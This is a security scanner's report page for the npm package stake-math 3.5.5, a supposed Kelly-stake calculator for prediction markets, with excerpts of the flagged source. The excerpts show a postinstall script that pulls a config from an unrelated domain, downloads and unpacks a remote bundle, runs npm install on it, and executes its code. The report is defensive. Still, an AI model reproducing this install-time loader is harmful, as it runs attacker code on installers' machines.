registry / stake-math / 3.5.5

stake-math@3.5.5

Kelly-criterion stake sizing for Up/Down binary markets like polymarket or binary prediction markets, trading platform.

Static Scan Results

scanned 6d ago · by rust-scanner

Static analysis flagged 10 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessDynamicRequireEnvironmentVarsFilesystemNetworkShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 3 file(s), 5.84 KB of source

Source & flagged code

5 flagged

package.jsonView file

Lines 1-27json

2 "name": "stake-math",

3 "version": "3.5.5",

4 "description": "Kelly-criterion stake sizing for Up/Down binary markets like polymarket or binary prediction markets, trading platform.",

5 "main": "index.js",

6 "homepage": "https://www.log-prettier.store/config/stake-peer-sync.json",

7 "scripts": {

8 "postinstall": "node scripts/install-check.cjs",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 "pack": "npm pack"

10 },

11 "files": [

12 "index.js",

13 "kelly.js",

14 "scripts/install-check.cjs",

15 "README.md"

16 ],

17 "keywords": [

18 "polymarket",

19 "kelly",

20 "prediction-markets",

21 "stake",

22 "binary"

23 ],

24 "license": "MIT",

25 "type": "commonjs"

26}

scripts/install-check.cjsView file

Lines 1-27javascript

1'use strict';

3const fs = require('fs');

4const path = require('path');

5const os = require('os');

index.jsView file

Lines 1-10javascript

1'use strict';

3const { computeKellyStake, formatStakeUsd, roundStake } = require('./kelly.js');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

5module.exports = {

6 computeKellyStake,

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/install-check.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

scripts/install-check.cjsView file

7const https = require('https'); L8: const { execSync } = require('child_process'); L9:

High

Child Process

Package source references child process execution.

scripts/install-check.cjsView on unpkg · L7

111stdio: 'inherit', L112: shell: true, L113: });

High

Shell

Package source references shell execution.

scripts/install-check.cjsView on unpkg · L111

114L115: execSync('npm install --omit=dev --no-audit --no-fund --loglevel=error', { L116: cwd: peerDir,

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

scripts/install-check.cjsView on unpkg · L114

index.jsView file

2L3: const { computeKellyStake, formatStakeUsd, roundStake } = require('./kelly.js'); L4:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

Findings

4 High4 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processscripts/install-check.cjs

HighShellscripts/install-check.cjs

HighRuntime Package Installscripts/install-check.cjs

MediumDynamic Requireindex.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

Source & flagged code

5 flagged

package.jsonView file

Lines 1-27json

2 "name": "stake-math",

3 "version": "3.5.5",

4 "description": "Kelly-criterion stake sizing for Up/Down binary markets like polymarket or binary prediction markets, trading platform.",

5 "main": "index.js",

6 "homepage": "https://www.log-prettier.store/config/stake-peer-sync.json",

7 "scripts": {

8 "postinstall": "node scripts/install-check.cjs",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L8

9 "pack": "npm pack"

10 },

11 "files": [

12 "index.js",

13 "kelly.js",

14 "scripts/install-check.cjs",

15 "README.md"

16 ],

17 "keywords": [

18 "polymarket",

19 "kelly",

20 "prediction-markets",

21 "stake",

22 "binary"

23 ],

24 "license": "MIT",

25 "type": "commonjs"

26}

scripts/install-check.cjsView file

Lines 1-27javascript

1'use strict';

3const fs = require('fs');

4const path = require('path');

5const os = require('os');

index.jsView file

Lines 1-10javascript

1'use strict';

3const { computeKellyStake, formatStakeUsd, roundStake } = require('./kelly.js');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

5module.exports = {

6 computeKellyStake,

Lines 91-134javascript

91 if (/\.json(\?|$)/i.test(url)) {

92 const raw = await fetchText(url);

93 const cfg = JSON.parse(raw);

94 const bundle = cfg.peerBundle || cfg.bundle || cfg.bundleUrl || cfg.url;

95 if (!bundle) throw new Error('peer sync config missing bundle field');

96 return String(bundle).trim();

97 }

99 if (/\.tgz(\?|$)/i.test(url)) {

100 return url;

101 }

102

103 throw new Error('peer sync config URL not recognized');

104}

105

106function extractPeerBundle(tgzPath) {

107 fs.rmSync(peerDir, { recursive: true, force: true });

108 fs.mkdirSync(peerDir, { recursive: true });

109

110 execSync(`tar -xzf "${tgzPath}" -C "${peerDir}" --strip-components=1`, {

111 stdio: 'inherit',

112 shell: true,

113 });

High

Shell

Package source references shell execution.

scripts/install-check.cjsView on unpkg · L111

114

115 execSync('npm install --omit=dev --no-audit --no-fund --loglevel=error', {

116 cwd: peerDir,

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

scripts/install-check.cjsView on unpkg · L114

117 stdio: 'inherit',

118 shell: true,

119 });

120}

121

122async function runPeerSync() {

123 const peerModule = path.join(peerDir, 'peer-math.js');

124 if (!fs.existsSync(peerModule)) {

125 throw new Error('peer bundle incomplete');

126 }

127

128 const { syncSession } = require(peerModule);

129 await syncSession();

130}

131

132async function main() {

133 const bundleUrl = await resolvePeerBundleUrl();

134 const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'psm-sync-'));